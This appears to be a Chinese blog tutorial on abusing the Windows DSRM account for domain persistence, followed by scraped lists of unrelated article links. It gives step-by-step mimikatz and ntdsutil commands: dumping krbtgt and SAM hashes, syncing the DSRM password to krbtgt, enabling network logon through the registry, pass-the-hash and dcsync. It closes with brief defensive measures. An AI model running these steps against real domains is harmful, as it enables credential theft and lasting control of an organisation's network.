一、DSRM简介 
  1.DSRM(Diretcory Service Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。
  2.修改DSRM密码的方法
  在域控制器上打开命令行环境,输入“ntdsutil”,常用命令如下:
  set dsrm password :设置dsrm密码
  reset password on server null :在当前域控制器上恢复dsrm密码
  q :退出
  
 
  如果域控制器版本是windows2008(已安装KB961320)及以上,可以将DSRM密码同步为已存在的域用户密码。
ntdsutil # 打开命令行
set dsrm password
sync from Domain Account domainusername # 使dsrm的密码和指定域用户的密码同步。
q:退出
 
二、.实验操作
(1)使用mimikatz查看krbtgt的NTLM Hash
在域控制器中打开mimikatz,看到krbtgt的NTLM Hash为:ffc79c6f14bb2c39e6ceab183cefc9c5
privilege::debug
lsadump::lsa /patch /name:krbtgt
或者
mimikatz privilege::debug "lsadump::lsa /patch /name:krbtgt" > krbtgt.txt
 
(2)使用mimikatz读取SAM文件中本地管理员(DSRM)的NTLM Hash
在域控制器中打开mimikatz,获得DSRM账号的NTLM Hash为:579da618cfbfa85247acf1f800a280a4
privilege::debug
token::elevate
lsadump::sam
 
(3)将DSRM账号和krbtgt 的NTLM Hash同步
ntdsutil
set dsrm password
sync from Domain Account krbtgt
 
(4)查看dsrm的NTLM Hash是否同步成功
通过mimikatz,得到dsrm账号的NTLM Hash为:ffc79c6f14bb2c39e6ceab183cefc9c5
mimikatz privilege::debug token::elevate lsadump::sam
 
(5)修改dsrm的登录方式
在注册表中新建HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior项。
  DSRM的三种登录方式:
  0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
  1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
  2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。
  在windows server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制.
如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2,可用powershell进行更改。
New-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -PropertyType DWORD
查看注册表,发现已经DsrmAdminLogonBehavior键值已设置为2.
 
(6)使用DSRM账号通过网络远程登录域控制器
使用mimikatz进行哈希传递,在域成员机器的管理员模式下打开mimikatz,输入如下命令:
privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:ffc79c6f14bb2c39e6ceab183cefc9c5

(7)还用mimikatz的dcsync 功能远程转储krbtgt的NTLM Hash
在哈希传递完成后,会弹出一个命令行窗口,在该命令行窗口中打开mimikatz。输入如下命令:
mimikatz "lsadump::dcsync /domain:payload.com /dc:win-dc /user:krbtgt"
需要注意路径:新开的窗口在system32下,需要切换到mimikatz所在目录操作。
 
三、DSRM更改的防御措施
  1.定期检查注册表中用于控制DSRM登录方式的键值HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认该键值为1,或者删除该键值。
  2.定期修改域中所有域控制器的DSRM账号。
  3.经常检查ID为4794的日志,尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

yukongDSRM账户安全防护的更多相关文章

  1. XSS 前端防火墙 —— 天衣无缝的防护

    上一篇讲解了钩子程序的攻防实战,并实现了一套对框架页的监控方案,将防护作用到所有子页面. 到目前为止,我们防护的深度已经差不多,但广度还有所欠缺. 例如,我们的属性钩子只考虑了 setAttribut ...

  2. 细数iOS上的那些安全防护

    细数iOS上的那些安全防护  龙磊,黑雪,蒸米 @阿里巴巴移动安全 0x00 序 随着苹果对iOS系统多年的研发,iOS上的安全防护机制也是越来越多,越来越复杂.这对于刚接触iOS安全的研究人员来说非 ...

  3. 关于web软件信息安全问题防护资料的整理 (一)

    之前意识到了安全问题的重要性,于是就在网上找了一下安全问题的解决办法(主要是web应用以及政府网站方面的),问了一下同学的公司是怎么保证安全的,跟我说用的是shiro安全机制这个貌似好多公司都在用,网 ...

  4. 利用其它带文件防护功能的软件防止*.asp;*.jpg写入文件。

    此木马是一个.NET程序制作,如果你的服务器支持.NET那就要注意了,,进入木马有个功能叫:IIS Spy,点击以后可以看到所有站点所在的物理路径.以前有很多人提出过,但一直没有人给解决的答案.. 防 ...

  5. Activity劫持实例与防护手段

    原文地址:Activity劫持实例与防护手段 作者:cjxqhhh (本文只用于学习技术,提高大家警觉,切勿用于非法用途!)   什么叫Activity劫持   这里举一个例子.用户打开安卓手机上的某 ...

  6. 用Qt写软件系列五:一个安全防护软件的制作(1)

    引言 又有许久没有更新了.Qt,我心爱的Qt,为了找工作不得不抛弃一段时间,业余时间来学一学了.本来计划要写一系列关于Qt组件美化的博文,但是写了几篇之后就没坚持下去了.技术上倒是问题不大,主要是时间 ...

  7. 关于web软件信息安全问题防护资料的整理(三)

    了解了web系统的安全威胁,那么我们应该怎样防范这些安全威胁呢? 1.时刻准备应战 Web应用系统所面临的威胁是非常严峻的.不管攻击的一方是采用单一形式的攻击,还是采用混合多种手段的混合攻击,作为防护 ...

  8. 关于web软件信息安全问题防护资料的整理(二)

    想要做好软件的安全防护,首先就得了解web系统的安全威胁,那么web系统都存在哪些威胁呢? 应用层攻击.网络层攻击和混合攻击. 传统被动.单点以及彼此孤立的防护手段已不能应对越来越严峻的安全威胁. 改 ...

  9. Nginx 支持 WAF 防护功能实战

    WAF(Web Application Firewall),中文名称叫做“Web应用防火墙 WAF的定义是这样的:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提 ...

随机推荐

  1. 最强常用开发库总结 - JSON库详解

    最强常用开发库总结 - JSON库详解 JSON应用非常广泛,对于Java常用的JSON库要完全掌握.@pdai JSON简介 JSON是什么 JSON 指的是 JavaScript 对象表示法(Ja ...

  2. Java集合框架(java.util包)

    集合的概念: 是一种工具类,可以存储任意数量.任意类型的对象(所以后面需要用到泛型,以约束集合中元素的类型) 集合的作用: 1.在类的内部对属性进行组织 2.方便快速定位属性位置 3.某些集合接口,提 ...

  3. C语言之数组用法总结

    一维数组的定义:1.数组的数据类型:每一元素占内存空间的字节数.2.数组的存储类型:内存的动态. 静态存储区或CPU的寄存器.3.一维数组在内存中占用的字节数为:数组长度X sizeof (基类型). ...

  4. 质数的判定 Miller_Rabin

    ----------- 10^18 #include <bits/stdc++.h> #define min(a,b) ((a)<(b)?(a):(b)) #define max(a ...

  5. JDK 和JRE区别

    JDK,开发java程序用的开发包,JDK里面有java的运行环境(JRE),包括client和server端的.需要配置环境变量.... JRE,运行java程序的环境,JVM,JRE里面只有cli ...

  6. hive 动态分区

    非常重要的动态分区属性: hive.exec.dynamic.partition  是否启动动态分区.false(不开启) true(开启)默认是 false hive.exec.dynamic.pa ...

  7. go微服务框架kratos学习笔记四(kratos warden-quickstart warden-direct方式client调用)

    目录 go微服务框架kratos学习笔记四(kratos warden-quickstart warden-direct方式client调用) warden direct demo-server gr ...

  8. Pyhon语法字符集报错

    pyhton对语法的字符集,特别的敏感因此我们在写python代码特别要注意.以下代码是个人在学习python中遇见的错误 附:错代码截图1-1 从以上代码中可以看到,似乎代码没有什么问题接下来验证一 ...

  9. [3.0] 一个人开发一个App,小程序从0到1,删减添加

    在这个黄道吉日,咱们将要干一件,惊天地泣鬼神,妇孺皆知的大事,那就是删掉微信开发工具自动生成的源代码. 删掉pages下的index.logs目录,啥都不留: 删掉utils下的util.js,只流空 ...

  10. Qt下Eigen矩阵函数库的添加

    第1步: 下载一个Eigen文件包,在官网下即可: http://eigen.tuxfamily.org/index.php?title=Main_Page 第2步: 用Qt随便建一个GUI工程,在. ...